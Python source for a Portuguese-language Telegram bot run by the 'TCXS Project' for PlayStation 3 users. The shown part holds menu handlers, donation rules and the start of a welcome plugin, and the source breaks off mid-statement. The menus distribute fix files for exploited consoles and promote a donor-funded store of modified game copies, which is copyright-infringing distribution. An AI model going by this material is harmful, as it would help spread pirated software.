id_pkg = resultado['pkg'] await bot.editMessageText( (msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Veja o tutorial INSTALAÇÃO EM CONSOLES CFW no menu abaixo ```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix para usuários CFW') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # FIX HEN XML PARA DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_fix_hen_xml_doadores': if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM fix_hen_xml""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix hen xml, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***category_network.xml***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] await bot.editMessageText( (msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Veja o tutorial INSTALAÇÃO EM CONSOLES CFW no menu abaixo ```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix XML para usuários HEN avançados') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # ACIMA DISTO PARTE DA ATT QUE PRECISA DE DB | SEGUE CODIGOS DOS DOADORES E DA ATT PAGA---------------------> elif msg['data'].split()[0] == 'tutorial_loja': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Abaixo temos o Tutorial TCXS Store instalar a loja em seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://cos.tv/videos/play/1586413688272059934') # return True elif msg['data'].split()[0] == 'tutorial_cfw': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Abaixo temos o Tutorial TCXS Store ensinando como usar em consoles CFW PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://cos.tv/videos/play/1586411677524278797') # return True elif msg['data'].split()[0] == 'tutorial_segundo_plano_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Abaixo temos o Tutorial TCXS Store ensinando como fazer os Downloads em Segundo Plano em seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://youtu.be/_21a5REKhBc') # return True elif msg['data'].split()[0] == 'fone_bluetooth_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Sabia que você pode usar seu fone bluetooth para jogos em seu PlayStation3?```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://www.youtube.com/watch?v=_wYG7iMa5uY') # return True elif msg['data'].split()[0] == 'proxy_usuarios_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Siga nosso tutorial de proxy para melhorar sua conexão e evitar banimento do seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://youtu.be/l4o8ySk1Do4') # return True # COMANDOS_USUARIOS -------------------------------------------------> elif msg[ 'data'] == 'comandos_usuarios': # esta tabela pela a reply_markup da primeira e le os dados do keyboard.py e oque respondido volta pra ca ou nao, para usar local "palavra" para usar la await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"***Comandos para usuários:***", 'markdown', reply_markup=keyboard.comandos_usuarios) # return True elif msg['data'] == 'comandos_users': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"""/start -inicia o bot /regras -leia nossas regras /admin -admins do grupo /freepkg -loja gratuita PS3 /fix -fix han /tutorial -como instalar a loja /rap -licenças dos jogos /desbloqueio -desbloquear PS3 /segundoplano -download /codigoerro -codigos PSN/PS3 /listajogos -download direto /doadores -instruções /mercadopago -doar/loja /tcxs -informações sobre /tcxspyject -criar lojas /ps1 -cria xml para loja /ps2 -cria xml para loja /psp -cria xml para loja /ps3 -cria xml para loja /proxy -velocidade no PS3 """, 'markdown', reply_markup=keyboard.voltar_comandos_usuarios) # return True elif msg['data'] == 'sites_users': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), "/torrent -pkg torrent\n/pkg_games -pkg's\n/site -doadores\n/facebook -facebook cadastre-se\n/anime -anime gratis\n/onion -deepweb\n/dev -hacker ", reply_markup=keyboard.voltar_comandos_usuarios) # return True elif msg['data'] == 'cria_xml_users': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """***Temos um programa de computador que cria lojas diretamente no console PlayStation3*** /tcxspyject -criar lojas ***Criar XML PSP Instruções:*** `comando:`/psp -cria xml para loja ``` 1 - meu comando sempre começa com /xml 2 - eu não aceito espaços no nome de arquivo, nome de jogo e nem na descrição! 3 - você pode copiar o caractere especial invisivel dentro das aspas abaixo para usar onde precisar de espaço!``` `Copie de dentro das aspas o caractere invisivel:`"⠀" **VAMOS AO COMANDO EM SI** `Exemplo com caractere invisivel:` ``` gow god⠀of⠀war descriçao⠀usando⠀caractere⠀invisivel www.linkdropbox.com``` `Exemplo sem caractere visivel:` ``` /psp gow god_of_war descrição_sem_caractere_visivel www.linkdropbox.com``` **Onde cada campo:** `/psp` ```- chama comando``` `gow` ```- nome do xml``` `god_of_war` ```- nome do jogo, se quiser tirar os _ usar caractere especial no lugar``` `descrição_do_jogo` ```- descrição, se quiser tirar os _ usar caractere especial no lugar``` `www.linkdropbox.com` ```- Link do Dropbox``` ***Criar XML PS1 Instruções:*** `comando:`/ps1 -cria xml para loja ``` 1 - meu comando sempre começa com /xml 2 - eu não aceito espaços no nome de arquivo, nome de jogo e nem na descrição! 3 - você pode copiar o caractere especial invisivel dentro das aspas abaixo para usar onde precisar de espaço!``` `Copie de dentro das aspas o caractere invisivel:`"⠀" **VAMOS AO COMANDO EM SI** `Exemplo com caractere invisivel:` ``` gow god⠀of⠀war descriçao⠀usando⠀caractere⠀invisivel www.linkdropbox.com``` `Exemplo sem caractere visivel:` ``` /ps1 gow god_of_war descrição_sem_caractere_visivel www.linkdropbox.com``` **Onde cada campo:** `/ps1` ```- chama comando``` `gow` ```- nome do xml``` `god_of_war` ```- nome do jogo, se quiser tirar os _ usar caractere especial no lugar``` `descrição_do_jogo` ```- descrição, se quiser tirar os _ usar caractere especial no lugar``` `www.linkdropbox.com` ```- Link do Dropbox``` ***Criar XML PS2 Instruções:*** `comando:`/ps2 -cria xml para loja ``` 1 - meu comando sempre começa com /xml 2 - eu não aceito espaços no nome de arquivo, nome de jogo e nem na descrição! 3 - você pode copiar o caractere especial invisivel dentro das aspas abaixo para usar onde precisar de espaço!``` `Copie de dentro das aspas o caractere invisivel:`"⠀" **VAMOS AO COMANDO EM SI** `Exemplo com caractere invisivel:` ``` gow god⠀of⠀war descriçao⠀usando⠀caractere⠀invisivel www.linkdropbox.com``` `Exemplo sem caractere visivel:` ``` /ps2 gow god_of_war descrição_sem_caractere_visivel www.linkdropbox.com``` **Onde cada campo:** `/ps2` ```- chama comando``` `gow` ```- nome do xml``` `god_of_war` ```- nome do jogo, se quiser tirar os _ usar caractere especial no lugar``` `descrição_do_jogo` ```- descrição, se quiser tirar os _ usar caractere especial no lugar``` `www.linkdropbox.com` ```- Link do Dropbox``` ***Criar XML PS3 Instruções:*** `comando:`/ps3 -cria xml para loja ``` 1 - meu comando sempre começa com /xml 2 - eu não aceito espaços no nome de arquivo, nome de jogo e nem na descrição! 3 - você pode copiar o caractere especial invisivel dentro das aspas abaixo para usar onde precisar de espaço! 4 - meu sistema para por jogos de PS3 aceitam apenas 3 links preciso deles como exemplos.``` `Copie de dentro das aspas o caractere invisivel:`"⠀" **VAMOS AO COMANDO EM SI** `Exemplo com caractere invisivel:` ``` gow god⠀of⠀war descriçao⠀usando⠀caractere⠀invisivel www.linkdropbox.com www.linkdropbox.com www.linkdropbox.com``` `Exemplo sem caractere visivel:` ``` /ps3 gow god_of_war descrição_sem_caractere_visivel www.linkdropbox.com www.linkdropbox.com www.linkdropbox.com``` **Onde cada campo:** `/ps3` ```- chama comando``` `gow` ```- nome do xml``` `god_of_war` ```- nome do jogo, se quiser tirar os _ usar caractere especial no lugar``` `descrição_do_jogo` ```- descrição, se quiser tirar os _ usar caractere especial no lugar``` `www.linkdropbox.com` ```- Link do Dropbox, preciso de 3 links separados por espaço``` /ps3 -cria xml para loja""", 'markdown', reply_markup=keyboard.voltar_comandos_usuarios) # return True # COMANDOS ADMINS---------------------------------------------------------------------------------------> # COMANDOS PARA OS BOTOES DOS ADMINISTRADORES elif msg['data'] == 'comandos_admins': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Os comandos aqui listados funcionam apenas para administradores de grupos e o menu Desenvolvedor somente quem hospeda pode usar. ```", 'markdown', reply_markup=keyboard.comandos_admins) # return True elif msg['data'] == 'gerenciar_grupos': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """/start - inicia o bot /welcome -boas vindas /ban -bane usuario /unban -desbane usuario /kick -kicka usuario /mute -muta usuario /unmute -desmuta usuario /unwarn -remove advertencias /warn -adverte usuario /pin -fixa posts /unpin -desfixa posts /title -muda titulo grupo /defregras -define regras /regras -ler regras /config -privado /admdebug -debug admin /id -id usuario /ip -dados ip /jsondump -retorna dados /stickerid -id sticker /getsticker -baixa sticker /criar_sticker -cria pacote stickers /kibar -copia sticker para o pacote de stickers /mark -repete o texto markdown /html -repete o texto HTML /request -requisição site /link - pega link de um arquivo use como resposta""", reply_markup=keyboard.voltar_comandos_admins) # return True elif msg['data'] == 'cadastrar_comandos': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***CADASTRO DE COMANDOS E REPOSTAS NA DATABASE*** 🤖`Para cadastrar um comando no banco de dados:` #comando resposta que o usuário vai receber 🤖`Para recadastrar um comando no banco de dados:` $comando resposta que o usuário vai receber 🤖`Para deletar um comando` %comando """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) # return True elif msg['data'] == 'cadastrar_lojas': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***CADASTRAR ARQUIVOS LOJAS DOADORES/FREE*** ```Este bot cadastra as lojas para doadores e free, cadastra também os fix pkg e os fix xml, para atualizar as lojas ou fix pkg e xml basta enviar elas no privado do bot, e ele cadastrará seus arquivos desde que estejam de acordo com as instruções abaixo. Pode ocorrer falhas na hora de cadastrar️, caso não tenha cadastrado envie novamente o arquivo, jamais envie mais de um arquivo por vez.``` 🤖***Cadastrar Loja Free:*** `Cadastre a LOJA GRATUITA FREE PKG enviando ela no meu privado com nome terminando com free.pkg, antes disto você pode por qualquer coisa no nome no arquivo como exemplo:` ***TCXS_3.6_free.pkg*** 🤖***Cadastrar Loja Doadores:*** `Cadastre a LOJA PARA DOADORES PKG enviando ela no meu privado com nome inicinando com TCXS, após este nome você pode escrever oque quiser no arquivo como exemplo:` ***TCXS_Store3.9.pkg*** 🤖***Cadastrar Fix HAN PKG:*** `Cadastre o FIX HAN PKG enviando ela no meu privado exatamente conforme exemplo:` ***FIX_HAN.pkg*** 🤖***Cadastrar Fix HEN PKG:*** `Cadastre o FIX HEN PKG enviando ela no meu privado exatamente conforme exemplo:` ***FIX_HEN.pkg*** 🤖***Cadastrar Fix CFW XML:*** `Cadastre o FIX CFW XML enviando ela no meu privado exatamente conforme exemplo:` ***category_network_tool2.xml*** 🤖***Cadastrar Fix HEN XML:*** `Cadastre o FIX HEN XML enviando ela no meu privado exatamente conforme exemplo:` ***category_network.xml*** """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'restringir_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***RESTRINGIR | LIMPAR | RECADASTRAR DOADORES*** ```---- Este bot cadastra os Doadores automáticamente, porém se por ventura ele falhar ou mesmo um administrador quiser Cadastar Manualmente o Doador por qualquer eventualidade, seja para conferir um cadastro automatico feito pelo Bot ou para poder dar mais dias de permanência ao Doador!``` 🤖***Cadastro automático:*** `Automaticamente ao entrar em um grupo o doador é cadastrado com o prazo de 30 dias de permanencia.` 🤖***Conferir Doadores Cadastrados:*** `Para conferir os cadastros existentes no sistema basta digitar o comando consulta e o arroba do usuário marcando o mesmo que também poderá conferir seu prazo,lembrando que faltando 7 dias para o prazo de banimento do grupo o usuário será notificado sobre para assim poder ou não realizar uma doação e manter sua permanência, use o comando conforme exemplo:` consulta @UserGamer 🤖***Descadastrar ou Deletar Doador:*** `Descadastrar ou deletar um Doador é necessário para que possa ser feita a inclusão de mais dias na sua conta, para isto basta usar o comando seguido do arroba do Doador conforme exemplo:` limpar @Mst3Dz 🤖***Cadastrar Manualmente um Doador:*** `Para cadastrar manualmente o doador é necessário pegar sua ID, para isto basta pegar qualquer mensagem deste doador e responder com o comando /id, após ter a ID do Doador tenha certeza que o mesmo não existe no Banco de Dados, para isto realize uma consulta e caso o Doador esteja cadastrado delete ele conforme instruções para deletar. Caso usuário não conste no Banco de Dados ou já tenha sido deletado execute o comando conforme exemplos:` ***restringir @usuario id_usuario quantidade_dias*** `Exemplo na prática:` restringir @MsT3Dz 628238139 300000 🤖***Depois de Banido oque acontece:*** `Após o doador ser banido os administradores são notificados, o nome deste doador é limpo do banco de dados e da lista de restritos do grupo, caso ele faça uma nova doação basta adiciona-lo no grupo sem a necessidade de qualquer comando.` """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'perguntas_admins': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SISTEMA DE PERGUNTAS E RESPOSTAS PARA ADMINS*** ```---- Este bot grava todas perguntas desde que contenham ??, avise seus usuários que quando quiserem cadastrar uma pergunta usem duas interrogações no final da frase e automáticamente sua pergunta será cadstrada e assim que um administrador ver pode responder ou cadastrar ela no robo ensinando a Inteligência Artificial.``` 🤖`Cadastrar pergunta exemplo:` Como faço para ser tao esperto como o robo?? 🤖`Ver perguntas cadastradas apenas digite:` perguntas 🤖`Limpar perguntas cadastradas ou já respondidas digite:` apagar perguntas """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'admin_frequencia': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE A FREQUENCIA DE MENSAGENS*** ```---- Este bot envia mensagens baseado em uma frequencia que deve ser setada entre 2 e 10, onde:``` 🤖`frequencia 0 = mudo` 🤖`frequencia 2 = fala pouco` 🤖`frequencia 10 = fala muito` """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'admin_proibicoes': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE PROIBIR E PERMITIR PALAVRAS*** ```---- Este bot pode restringir/permitir palavras com os comandos:``` 🤖`proibir uma palavra:` proibir corno 🤖`permitir uma palavra:` permtir corno 🤖`ver palavras proibidas:` proibidas """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'admin_inteligencia': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE O ENVIO DE MENSAGENS DA IA*** ```---- Este bot envia mensagens baseado em dois tipos de inteligência, uma local e outra global, onde a local é tudo que aprendeu naquele grupo e ja a global é oque ele aprendeu por onde passou, veja exemplos:``` 🤖`inteligencia local = irá falar somente sobre oque aprendeu neste grupo, comando:` inteligencia local 🤖`inteligencia global = ira falar sobre tudo que aprendeu em todos os lugares que passou na internet` inteligencia global 🤖`fale sobre = ele fala sobre determinado assunto, exemplo:` fale sobre playstation """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'area_dev': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ [*] COMANDOS APENAS PARA DESENVOLVEDOR [*] Os comandos abaixo funcionam apenas para quem hospeda o bot, somente o desenvolvedor tem acesso a estes comandos! !apagar mensagens - apaga tudo IA e faz backup da Database. !backup - Faz backup do bot e upload para o Dropbox. !update - Atualiza o bot de acordo com codigo postado no Github. !cmd - Executa um comando. !chat - Obtem infos de um chat. !del - Deleta a mensagem respondida. !doc - Envia um documento do server. !eval - Executa uma função Python. !exec - Executa um código Python. !leave - O bot sai do chat. !plist - Lista os plugins ativos. !promote - Promove alguém a admin. !restart - Reinicia o bot. !upgrade - Atualiza a base do bot.(deprecated) !upload - Envia um arquivo para o servidor. !baixar - baixa um documento para o server !dropbox - faz upload para o Dropbox !link - gera um link direto do Telegram | - Define desligamento do bot, EX: 12|30""", 'markdown', reply_markup=keyboard.voltar_comandos_admins) # return True # FERRAMENTAS GERAIS-------------------------------------------------------------------------------------------------------------------------------------------------> # menus de ferramentas: elif msg['data'] == 'ferramentas_gerais': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Informações extras ou complementares sobre o Bot ou Projeto TCXS Store PS3 Hacker Team.```", 'markdown', reply_markup=keyboard.ferramentas_gerais) # return True elif msg['data'] == 'ferramenta_comandos': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ /tr -traduz um texto /yt -pesquisa videos no YouTube /r -pesquisa um termo no redit /clima -exibe informacoes de clima /coub -pesquisa de pequenas anima??es /dados -jogo de dados /gif -gif do giphy /git -usuario do github /id -id do usuario /ip -informa dados de um ip /jsondump -retorna dados formatados /stickerid -pega id de um sticker /getsticker -baixa um sticker /pypi -pesquisa libs python /rextester -interpretador de varias linguagens de programação /mark -repete o texto informado usando Markdown /html -repete o texto informado usando HTML /request -faz uma requisicao a um site /rt -repete concordando com o usuario na reposta /fala -Repete o texto que voce pedir para ele falar /print -gera um print doque falou /dogbin - envia seu material em texto para o dogbin /hastebin - envia seu material em texto para o hastebin /echo - Repete o texto informado. /shorten - Encurta uma URL. /token - Exibe informaces de um token de bot.""", reply_markup=keyboard.voltar_ferramentas_gerais) # return True elif msg['data'] == 'ferramenta_perguntas': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SISTEMA DE PERGUNTAS E RESPOSTAS PARA ADMINS*** ```---- Este bot grava todas perguntas desde que contenham ??, avise seus usuários que quando quiserem cadastrar uma pergunta usem duas interrogações no final da frase e automáticamente sua pergunta será cadstrada e assim que um administrador ver pode responder ou cadastrar ela no robo ensinando a Inteligência Artificial.``` 🤖`Cadastrar pergunta exemplo:` Como faço para ser tao esperto como o robo?? 🤖`Ver perguntas cadastradas apenas digite:` perguntas 🤖`Limpar perguntas cadastradas ou já respondidas digite:` apagar perguntas """, 'markdown', reply_markup=keyboard.voltar_ferramentas_gerais) elif msg['data'] == 'ferramenta_frequencia': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE A FREQUENCIA DE MENSAGENS*** ```---- Este bot envia mensagens baseado em uma frequencia que deve ser setada entre 2 e 10,este comando pode funcionar somente para administradores dependendo das configurações, seus comandos são:``` 🤖`frequencia 0 = mudo` 🤖`frequencia 2 = fala pouco` 🤖`frequencia 10 = fala muito` """, 'markdown', reply_markup=keyboard.voltar_ferramentas_gerais) elif msg['data'] == 'ferramenta_proibicoes': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE PROIBIR E PERMITIR PALAVRAS*** ```---- Este bot pode restringir/permitir palavras, este comando pode funcionar somente para administradores dependendo das configurações, altere as proibições de palavras ou frases, link etc... com os comandos:``` 🤖`proibir uma palavra:` proibir corno 🤖`permitir uma palavra:` permtir corno 🤖`ver palavras proibidas:` proibidas """, 'markdown', reply_markup=keyboard.voltar_ferramentas_gerais) elif msg['data'] == 'ferramenta_inteligencia': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***SOBRE O ENVIO DE MENSAGENS DA IA*** ```---- Este bot envia mensagens baseado em dois tipos de inteligência, uma local e outra global, onde a local é tudo que aprendeu naquele grupo e ja a global é oque ele aprendeu por onde passou,este comando pode ser restrito a administradores, veja exemplos:``` 🤖`inteligencia local = irá falar somente sobre oque aprendeu neste grupo, comando:` inteligencia local 🤖`inteligencia global = ira falar sobre tudo que aprendeu em todos os lugares que passou na internet` inteligencia global 🤖`fale sobre = ele fala sobre determinado assunto, exemplo:` fale sobre playstation """, 'markdown', reply_markup=keyboard.voltar_ferramentas_gerais) # INFORMAÇÕES E EXTRAS-------------------> elif msg['data'] == 'infos_extras': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Aconselhamos que leia atentamente as regras, é de suma importancia saber as regras antes de doar para depois não haver reclamações tanto pela parte dos usuários como por parte da administração, somente após ler e concordar com todos os termos abaixo realize sua doação, ja deixamos claro que não prestamos reembolsos.```", 'markdown', reply_markup=keyboard.info_extras) # return True elif msg['data'] == 'info_adquirir': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ A TCXS Project fornece e desenvolve o aplicativo para PlayStation3 TCXS Store, para poder ter nosso aplicativo em seu console basta fazer uma doação nos botões deste bot ou pelo site, antes de doar leia atentamente a todas as regras, já quero explicar como funciona a doação, todo montante arrecadado fica preso em uma conta do Mercado Pago a qual é usada para pagar o servidor do Dropbox e outros serviços, ao doar você esta participando de uma vaquinha onde a união de todos doadores mantém a vaquinha no mercado pago assim possibilitando pagar os serviços que usamos, nossa loja não é paga e em momento algum você é obrigado a pagar, fornecemos jogos para download direto aqui neste bot bem como temos uma loja free que tem todos jogos das demais lojas free, a loja ficou definida apenas para doadores a pedido deles, pois o download fica muito mais rápido e não temos mais perda de jogos, ressalto que o grupo de doadores esta limitado apenas a 200 pessoas e caso esteja lotado você terá que esperar alguem sair, continuando... Logo após doar você deve ir em nosso grupo de telegram e procurar por @MsT3Dz ou @Odeiobot e mostrar seu comprovante de doação assim você estará dentro do grupo que contém as novidades, jogos e nossa TCXS Store PKG PlayStation3.```", 'markdown', reply_markup=keyboard.voltar_info_extras) # return True elif msg['data'] == 'info_doacao': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"""```------ As doações são feitas pelo mercado pago, onde aceitamos todos os cartões, pagamentos online e boletos. Não prestamos reembolsos pois se trata de doações e não uma venda direta para uso dos serviços! O material completo é apenas para doadores. Além do projeto para PlayStation3 a TCXS Project conta com inumeros projetos e Sites para seu entreterimento. Após fazer sua doação basta ir no grupo de TELEGRAM e procurar pelo nosso administrador @MsT3Dz ou @Odeiobot , enviar um print de seu comprovante de pagamento que ele irá fornecer acesso a todo material, exigimos que seja feito o pedido no grupo! Outros administradores não irão te responder no privado, contamos com seu bom senso e cordialidade! NÃO PRESTAMOS REEMBOLSOS! Queremos deixar a todos cientes que as doações feitas são exclusivas para pagar os servidores da Dropbox e serviços como hospedagem de site, sendo assim nos adm’s declaramos não receber nenhum valor neste projeto sendo assim nosso trabalho voluntário e todo e qualquer que queira entrar na equipe para ajudar a contribuir de forma expontanêa é bem vindo. Nossa equipe desenvolve sem cobrar nada pela sua mão de obra os sites acima citados bem como o desenvolvimento da TCXS Store PKG e a conversão e upload de jogos dentro dos servidores da Dropbox para assim os fornecer em formato NO-HAN para os usuários, fornecemos dentro da Plataforma PlayStation3 jogos de PS2, PS2, PsP, Emuladores das mais diversas plataformas! Álem disto disponibilizamos aos usuários a experiencia de ter sites para download de jogos nas mais variadas paltaformas e em especial jogos de PS3 PKG tudo aberto gratuitamente a comunidade bem como este site e outros sites mencionados aqui e que encontram-se nos menus.```""", 'markdown', reply_markup=keyboard.voltar_info_extras) # return True elif msg['data'] == 'info_requisitos': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"""```------ Para usar a TCXS Store PKG você precisa ter seu console exploitado ou desbloqueado, nossa loja funciona nos consoles CFW, OFW, nas versões HAN e HEN, porém precis atender alguns requisitos para usar a TCXS Store PKG: - Console Desbloqueado/exploitado. - Versão exploit Han/Hen. - Assinaturas previamente inseridas ( Raps’). - Configurações de internet corretas. - Espaço para download de jogos em seu hd. - Conhecer previamente tudo sobre seu sistema de desbloqueio/exploit. - Saber solucionar seus erros. - Estar ciente que ao doar para a TCXS Store você não esta fazendo uma compra e sim ajudando a pagar os servidores da Dropbox onde upamos os jogos.CONSIDERE SE PARTICIPANDO DE UMA VAQUINHA COLETIVA ONDE TODOS USUARIOS DA TCXS AJUDAM NESTA VAQUINHA PARA MANTER O SERVIDOR```""", 'markdown', reply_markup=keyboard.voltar_info_extras) # return True elif msg['data'] == 'info_suporte': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"""```------ Prestamos suporte somente para nosso aplicativo e jogos, estejam cientes que: Suporte será prestado somente para a TCXS Store. Suporte será prestado somente para jogos que são convertidos pela equipe. Por se tratar de copias modificadas de jogos nossos jogos constantemente são reupados. Por se tratar de copias modificadas ao cair dos links, os mesmos após conteúdo upado, são substitúidos na TCXS Store PKG. Tenha ciencia de que links podem vir a cair ( não temos frequencia disto). Saiba que a administração não presta suporte para seu desbloqueio e exploit, mas aconselhamos levar em um técnico competente caso não saiba realizar as operações básicas e avançadas de seu console. Caso queira se aventurar em aprender tudo sobre seu desbloqueio ou exploit aconselhamos o fórum da PSX Place que são os desenvolvedores do desbloqueio e exploit, não iremos dar suporte ao material de terceiros ou erros cometidos por usuarios ou consoles vindo de tecnicos que não fizeram um bom exploit ou um bom desbloqueio.```""", 'markdown', reply_markup=keyboard.voltar_info_extras) # return True else: rules_markup = None await bot.sendMessage(chat_id, welcome, 'Markdown', reply_to_message_id=msg['message_id'], reply_markup=rules_markup, disable_web_page_preview=True) return True
# -*- coding: utf-8 -*- #███╗ ███╗ █████╗ ███╗ ██╗██╗ ██████╗ ██████╗ ███╗ ███╗██╗ ██████╗ #████╗ ████║██╔══██╗████╗ ██║██║██╔════╝██╔═══██╗████╗ ████║██║██╔═══██╗ #██╔████╔██║███████║██╔██╗ ██║██║██║ ██║ ██║██╔████╔██║██║██║ ██║ #██║╚██╔╝██║██╔══██║██║╚██╗██║██║██║ ██║ ██║██║╚██╔╝██║██║██║ ██║ #██║ ╚═╝ ██║██║ ██║██║ ╚████║██║╚██████╗╚██████╔╝██║ ╚═╝ ██║██║╚██████╔╝ #╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ # [+] @GorpoOrko 2020 - Telegram Bot and Personal Assistant [+] # | TCXS Project Hacker Team - https://tcxsproject.com.br | # | Telegram: @GorpoOrko Mail:gorpoorko@protonmail.com | # [+] Github Gorpo Dev: https://github.com/gorpo [+] from amanobot.exception import TelegramError from bot_files.config import bot, sudoers, logs, bot_username, bot_id from amanobot.namedtuple import InlineKeyboardMarkup from bot_files.utils import escape_markdown from bot_files.db_handler import conn, cursor import sqlite3 from bot_files.plugins.admins import is_admin from datetime import datetime from dateutil.relativedelta import relativedelta import keyboard def get_welcome(chat_id): cursor.execute('SELECT welcome, welcome_enabled FROM chats WHERE chat_id = (?)', (chat_id,)) try: return cursor.fetchone() except IndexError: return None def set_welcome(chat_id, welcome): cursor.execute('UPDATE chats SET welcome = ? WHERE chat_id = ?', (welcome, chat_id)) conn.commit() def enable_welcome(chat_id): cursor.execute('UPDATE chats SET welcome_enabled = ? WHERE chat_id = ?', (True, chat_id)) conn.commit() def disable_welcome(chat_id): cursor.execute('UPDATE chats SET welcome_enabled = ? WHERE chat_id = ?', (False, chat_id)) conn.commit() async def welcome(msg): if msg.get('text'): if msg['text'].split()[0] == '/welcome' or msg['text'].split()[0] == '/welcome@' + bot_username or \ msg['text'].split()[0] == '!welcome': if msg['chat']['type'] == 'private': await bot.sendMessage(msg['chat']['id'], 'Este comando só funciona em grupos ¯\\_(ツ)_/¯') elif (await is_admin(msg['chat']['id'], msg['from']['id']))['user']: text = msg['text'].split(' ', 1) if len(text) == 1: await bot.sendMessage(msg['chat']['id'], 'Uso: /welcome on/off/reset/mensagem de boas-vindas do grupo (suporta Markdown e as tags $name, $title, $id e $rules)', reply_to_message_id=msg['message_id']) elif text[1] == 'on': enable_welcome(msg['chat']['id']) await bot.sendMessage(msg['chat']['id'], 'A mensagem de boas-vindas foi ativada.', reply_to_message_id=msg['message_id']) elif text[1] == 'off': disable_welcome(msg['chat']['id']) await bot.sendMessage(msg['chat']['id'], 'A mensagem de boas-vindas foi desativada.', reply_to_message_id=msg['message_id']) elif text[1] == 'reset': set_welcome(msg['chat']['id'], None) await bot.sendMessage(msg['chat']['id'], 'A mensagem de boas-vindas foi redefinida.', reply_to_message_id=msg['message_id']) else: try: sent = await bot.sendMessage(msg['chat']['id'], text[1], parse_mode='Markdown', reply_to_message_id=msg['message_id']) set_welcome(msg['chat']['id'], text[1]) await bot.editMessageText((msg['chat']['id'], sent['message_id']), 'A mensagem de boas-vindas foi definida.') except TelegramError as e: await bot.sendMessage(msg['chat']['id'], '''Ocorreu um erro ao definir a mensagem de boas-vindas: {} Se esse erro persistir entre em contato com @GorpoOrko.'''.format(e.description), reply_to_message_id=msg['message_id']) return True elif 